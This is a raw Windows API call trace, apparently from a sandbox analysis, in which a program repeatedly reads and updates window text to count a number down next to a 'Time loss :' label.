[0247.970] GetWindowTextW (in: hWnd=0x40298, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="59") returned 2
[0247.970] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0247.970] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0247.970] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0247.970] GetSystemMetrics (nIndex=42) returned 0
[0247.970] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="56") returned 2
[0247.970] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0247.971] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0247.971] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0247.971] GetSystemMetrics (nIndex=42) returned 0
[0247.971] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecd50, nMaxCount=3 | out: lpString="56") returned 2
[0247.971] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecd50) returned 0x2
[0247.971] SetWindowTextW (hWnd=0x2028a, lpString="55") returned 1
[0247.971] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xc, wParam=0x0, lParam=0x27970e4) returned 0x1
[0247.973] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0247.973] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0247.973] GetSystemMetrics (nIndex=42) returned 0
[0247.973] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecc10, nMaxCount=3 | out: lpString="55") returned 2
[0247.973] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecc10) returned 0x2
[0247.974] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0247.976] AdjustWindowRectEx (in: lpRect=0x2ecc28, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2ecc28) returned 1
[0247.977] DrawTextExW (in: hdc=0xd010a02, lpchText="55", cchText=2, lprc=0x2ecb98, format=0x102400, lpdtp=0x2797338 | out: lpchText="55", lprc=0x2ecb98) returned 20
[0247.980] InvalidateRect (hWnd=0x2028a, lpRect=0x0, bErase=1) returned 1
[0247.980] GetWindowTextLengthW (hWnd=0x2027a) returned 11
[0247.980] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb
[0247.980] GetSystemMetrics (nIndex=42) returned 0
[0247.980] GetWindowTextW (in: hWnd=0x2027a, lpString=0x2ecb80, nMaxCount=12 | out: lpString="Time loss :") returned 11
[0247.980] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0xd, wParam=0xc, lParam=0x2ecb80) returned 0xb
[0249.036] GetWindowTextLengthW (hWnd=0x20288) returned 2
[0249.037] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0249.038] GetSystemMetrics (nIndex=42) returned 0
[0249.039] GetWindowTextW (in: hWnd=0x20288, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="24") returned 2
[0249.039] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0249.041] GetWindowTextLengthW (hWnd=0x40298) returned 2
[0249.041] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0249.041] GetSystemMetrics (nIndex=42) returned 0
[0249.041] GetWindowTextW (in: hWnd=0x40298, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="59") returned 2
[0249.041] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0249.042] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0249.042] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0249.042] GetSystemMetrics (nIndex=42) returned 0
[0249.042] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="55") returned 2
[0249.042] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0249.042] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0249.043] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0249.043] GetSystemMetrics (nIndex=42) returned 0
[0249.043] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecd50, nMaxCount=3 | out: lpString="55") returned 2
[0249.043] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecd50) returned 0x2
[0249.043] SetWindowTextW (hWnd=0x2028a, lpString="54") returned 1
[0249.043] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xc, wParam=0x0, lParam=0x26dc1b4) returned 0x1
[0249.046] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0249.046] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0249.046] GetSystemMetrics (nIndex=42) returned 0
[0249.046] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecc10, nMaxCount=3 | out: lpString="54") returned 2
[0249.046] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecc10) returned 0x2
[0249.048] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0249.051] AdjustWindowRectEx (in: lpRect=0x2ecc28, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2ecc28) returned 1
[0249.053] DrawTextExW (in: hdc=0xd010a02, lpchText="54", cchText=2, lprc=0x2ecb98, format=0x102400, lpdtp=0x26dc408 | out: lpchText="54", lprc=0x2ecb98) returned 20
[0249.058] InvalidateRect (hWnd=0x2028a, lpRect=0x0, bErase=1) returned 1
[0249.058] GetWindowTextLengthW (hWnd=0x2027a) returned 11
[0249.058] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb
[0249.059] GetSystemMetrics (nIndex=42) returned 0
[0249.059] GetWindowTextW (in: hWnd=0x2027a, lpString=0x2ecb80, nMaxCount=12 | out: lpString="Time loss :") returned 11
[0249.059] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0xd, wParam=0xc, lParam=0x2ecb80) returned 0xb
[0250.030] GetWindowTextLengthW (hWnd=0x20288) returned 2
[0250.030] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0250.030] GetSystemMetrics (nIndex=42) returned 0
[0250.030] GetWindowTextW (in: hWnd=0x20288, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="24") returned 2
[0250.030] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0250.031] GetWindowTextLengthW (hWnd=0x40298) returned 2
[0250.031] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0250.031] GetSystemMetrics (nIndex=42) returned 0
[0250.031] GetWindowTextW (in: hWnd=0x40298, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="59") returned 2
[0250.031] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0250.031] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0250.031] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0250.032] GetSystemMetrics (nIndex=42) returned 0
[0250.032] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="54") returned 2
[0250.032] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0250.032] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0250.032] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0250.032] GetSystemMetrics (nIndex=42) returned 0
[0250.032] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecd50, nMaxCount=3 | out: lpString="54") returned 2
[0250.032] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecd50) returned 0x2
[0250.032] SetWindowTextW (hWnd=0x2028a, lpString="53") returned 1
[0250.032] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xc, wParam=0x0, lParam=0x277648c) returned 0x1
[0250.033] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0250.033] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0250.034] GetSystemMetrics (nIndex=42) returned 0
[0250.034] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecc10, nMaxCount=3 | out: lpString="53") returned 2
[0250.034] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecc10) returned 0x2
[0250.035] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0250.035] AdjustWindowRectEx (in: lpRect=0x2ecc28, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2ecc28) returned 1
[0250.035] DrawTextExW (in: hdc=0xd010a02, lpchText="53", cchText=2, lprc=0x2ecb98, format=0x102400, lpdtp=0x27766e0 | out: lpchText="53", lprc=0x2ecb98) returned 20
[0250.035] InvalidateRect (hWnd=0x2028a, lpRect=0x0, bErase=1) returned 1
[0250.035] GetWindowTextLengthW (hWnd=0x2027a) returned 11
[0250.035] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb
[0250.035] GetSystemMetrics (nIndex=42) returned 0
[0250.035] GetWindowTextW (in: hWnd=0x2027a, lpString=0x2ecb80, nMaxCount=12 | out: lpString="Time loss :") returned 11
[0250.035] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0xd, wParam=0xc, lParam=0x2ecb80) returned 0xb
[0251.104] GetWindowTextLengthW (hWnd=0x20288) returned 2
[0251.104] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0251.105] GetSystemMetrics (nIndex=42) returned 0
[0251.106] GetWindowTextW (in: hWnd=0x20288, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="24") returned 2
[0251.106] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0251.107] GetWindowTextLengthW (hWnd=0x40298) returned 2
[0251.107] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0251.108] GetSystemMetrics (nIndex=42) returned 0
[0251.108] GetWindowTextW (in: hWnd=0x40298, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="59") returned 2
[0251.108] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0251.108] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0251.108] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0251.108] GetSystemMetrics (nIndex=42) returned 0
[0251.108] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="53") returned 2
[0251.108] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0251.109] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0251.109] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0251.109] GetSystemMetrics (nIndex=42) returned 0
[0251.109] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecd50, nMaxCount=3 | out: lpString="53") returned 2
[0251.109] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecd50) returned 0x2
[0251.109] SetWindowTextW (hWnd=0x2028a, lpString="52") returned 1
[0251.109] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xc, wParam=0x0, lParam=0x2776a6c) returned 0x1
[0251.112] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0251.112] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0251.112] GetSystemMetrics (nIndex=42) returned 0
[0251.112] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecc10, nMaxCount=3 | out: lpString="52") returned 2
[0251.112] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecc10) returned 0x2
[0251.113] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0251.115] AdjustWindowRectEx (in: lpRect=0x2ecc28, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2ecc28) returned 1
[0251.117] DrawTextExW (in: hdc=0xd010a02, lpchText="52", cchText=2, lprc=0x2ecb98, format=0x102400, lpdtp=0x2776cc0 | out: lpchText="52", lprc=0x2ecb98) returned 20
[0251.121] InvalidateRect (hWnd=0x2028a, lpRect=0x0, bErase=1) returned 1
[0251.121] GetWindowTextLengthW (hWnd=0x2027a) returned 11
[0251.121] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb
[0251.121] GetSystemMetrics (nIndex=42) returned 0
[0251.121] GetWindowTextW (in: hWnd=0x2027a, lpString=0x2ecb80, nMaxCount=12 | out: lpString="Time loss :") returned 11
[0251.121] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0xd, wParam=0xc, lParam=0x2ecb80) returned 0xb
[0252.537] GetWindowTextLengthW (hWnd=0x20288) returned 2
[0252.537] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0252.537] GetSystemMetrics (nIndex=42) returned 0
[0252.537] GetWindowTextW (in: hWnd=0x20288, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="24") returned 2
[0252.537] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0252.607] GetWindowTextLengthW (hWnd=0x40298) returned 2
[0252.633] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0252.654] GetSystemMetrics (nIndex=42) returned 0
[0252.662] GetWindowTextW (in: hWnd=0x40298, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="59") returned 2
[0252.845] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0253.028] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0253.028] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0253.028] GetSystemMetrics (nIndex=42) returned 0
[0253.028] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="52") returned 2
[0253.028] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0253.028] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0253.028] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0253.028] GetSystemMetrics (nIndex=42) returned 0
[0253.028] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecd50, nMaxCount=3 | out: lpString="52") returned 2
[0253.028] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecd50) returned 0x2
[0253.028] SetWindowTextW (hWnd=0x2028a, lpString="51") returned 1
[0253.028] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xc, wParam=0x0, lParam=0x2776fec) returned 0x1
[0253.029] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0253.029] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0253.029] GetSystemMetrics (nIndex=42) returned 0
[0253.029] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecc10, nMaxCount=3 | out: lpString="51") returned 2
[0253.029] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecc10) returned 0x2
[0253.030] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0253.030] AdjustWindowRectEx (in: lpRect=0x2ecc28, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2ecc28) returned 1
[0253.030] DrawTextExW (in: hdc=0xd010a02, lpchText="51", cchText=2, lprc=0x2ecb98, format=0x102400, lpdtp=0x2777240 | out: lpchText="51", lprc=0x2ecb98) returned 20
[0253.030] InvalidateRect (hWnd=0x2028a, lpRect=0x0, bErase=1) returned 1
[0253.030] GetWindowTextLengthW (hWnd=0x2027a) returned 11
[0253.030] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb
[0253.030] GetSystemMetrics (nIndex=42) returned 0
[0253.030] GetWindowTextW (in: hWnd=0x2027a, lpString=0x2ecb80, nMaxCount=12 | out: lpString="Time loss :") returned 11
[0253.030] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0xd, wParam=0xc, lParam=0x2ecb80) returned 0xb
[0253.072] GetWindowTextLengthW (hWnd=0x20288) returned 2
[0253.072] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0253.072] GetSystemMetrics (nIndex=42) returned 0
[0253.072] GetWindowTextW (in: hWnd=0x20288, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="24") returned 2
[0253.072] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0253.072] GetWindowTextLengthW (hWnd=0x40298) returned 2
[0253.072] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0253.073] GetSystemMetrics (nIndex=42) returned 0
[0253.073] GetWindowTextW (in: hWnd=0x40298, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="59") returned 2
[0253.073] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0253.073] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0253.073] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0253.073] GetSystemMetrics (nIndex=42) returned 0
[0253.073] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="51") returned 2
[0253.073] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0253.074] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0253.074] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0253.074] GetSystemMetrics (nIndex=42) returned 0
[0253.074] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecd50, nMaxCount=3 | out: lpString="51") returned 2
[0253.074] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecd50) returned 0x2
[0253.074] SetWindowTextW (hWnd=0x2028a, lpString="50") returned 1
[0253.074] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xc, wParam=0x0, lParam=0x27ab2b4) returned 0x1
[0253.074] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0253.074] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0253.074] GetSystemMetrics (nIndex=42) returned 0
[0253.074] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecc10, nMaxCount=3 | out: lpString="50") returned 2
[0253.074] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecc10) returned 0x2
[0253.075] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0253.075] AdjustWindowRectEx (in: lpRect=0x2ecc28, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2ecc28) returned 1
[0253.075] DrawTextExW (in: hdc=0xd010a02, lpchText="50", cchText=2, lprc=0x2ecb98, format=0x102400, lpdtp=0x27ab508 | out: lpchText="50", lprc=0x2ecb98) returned 20
[0253.075] InvalidateRect (hWnd=0x2028a, lpRect=0x0, bErase=1) returned 1
[0253.075] GetWindowTextLengthW (hWnd=0x2027a) returned 11
[0253.075] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb
[0253.075] GetSystemMetrics (nIndex=42) returned 0
[0253.075] GetWindowTextW (in: hWnd=0x2027a, lpString=0x2ecb80, nMaxCount=12 | out: lpString="Time loss :") returned 11
[0253.075] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0xd, wParam=0xc, lParam=0x2ecb80) returned 0xb
[0253.173] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1
[0253.174] NtdllDefWindowProc_W (hWnd=0x50116, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1
[0255.910] GetWindowTextLengthW (hWnd=0x20288) returned 2
[0255.911] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0255.911] GetSystemMetrics (nIndex=42) returned 0
[0255.912] GetWindowTextW (in: hWnd=0x20288, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="24") returned 2
[0255.913] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0255.914] GetWindowTextLengthW (hWnd=0x40298) returned 2
[0255.914] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0255.914] GetSystemMetrics (nIndex=42) returned 0
[0255.914] GetWindowTextW (in: hWnd=0x40298, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="59") returned 2
[0255.914] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0255.915] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0255.915] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0255.915] GetSystemMetrics (nIndex=42) returned 0
[0255.915] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="50") returned 2
[0255.915] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0255.915] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0255.915] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0255.915] GetSystemMetrics (nIndex=42) returned 0
[0255.915] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecd50, nMaxCount=3 | out: lpString="50") returned 2
[0255.916] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecd50) returned 0x2
[0255.916] SetWindowTextW (hWnd=0x2028a, lpString="49") returned 1
[0255.916] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xc, wParam=0x0, lParam=0x2811dc4) returned 0x1
[0255.919] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0255.919] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0255.919] GetSystemMetrics (nIndex=42) returned 0
[0255.919] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecc10, nMaxCount=3 | out: lpString="49") returned 2
[0255.919] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecc10) returned 0x2
[0255.920] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0255.923] AdjustWindowRectEx (in: lpRect=0x2ecc28, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2ecc28) returned 1
[0255.925] DrawTextExW (in: hdc=0xd010a02, lpchText="49", cchText=2, lprc=0x2ecb98, format=0x102400, lpdtp=0x2812018 | out: lpchText="49", lprc=0x2ecb98) returned 20
[0255.930] InvalidateRect (hWnd=0x2028a, lpRect=0x0, bErase=1) returned 1
[0255.930] GetWindowTextLengthW (hWnd=0x2027a) returned 11
[0255.930] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb
[0255.930] GetSystemMetrics (nIndex=42) returned 0
[0255.930] GetWindowTextW (in: hWnd=0x2027a, lpString=0x2ecb80, nMaxCount=12 | out: lpString="Time loss :") returned 11
[0255.930] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0xd, wParam=0xc, lParam=0x2ecb80) returned 0xb
[0255.932] GetWindowTextLengthW (hWnd=0x20288) returned 2
[0255.932] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0255.932] GetSystemMetrics (nIndex=42) returned 0
[0255.932] GetWindowTextW (in: hWnd=0x20288, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="24") returned 2
[0255.932] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0255.933] GetWindowTextLengthW (hWnd=0x40298) returned 2
[0255.933] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0255.933] GetSystemMetrics (nIndex=42) returned 0
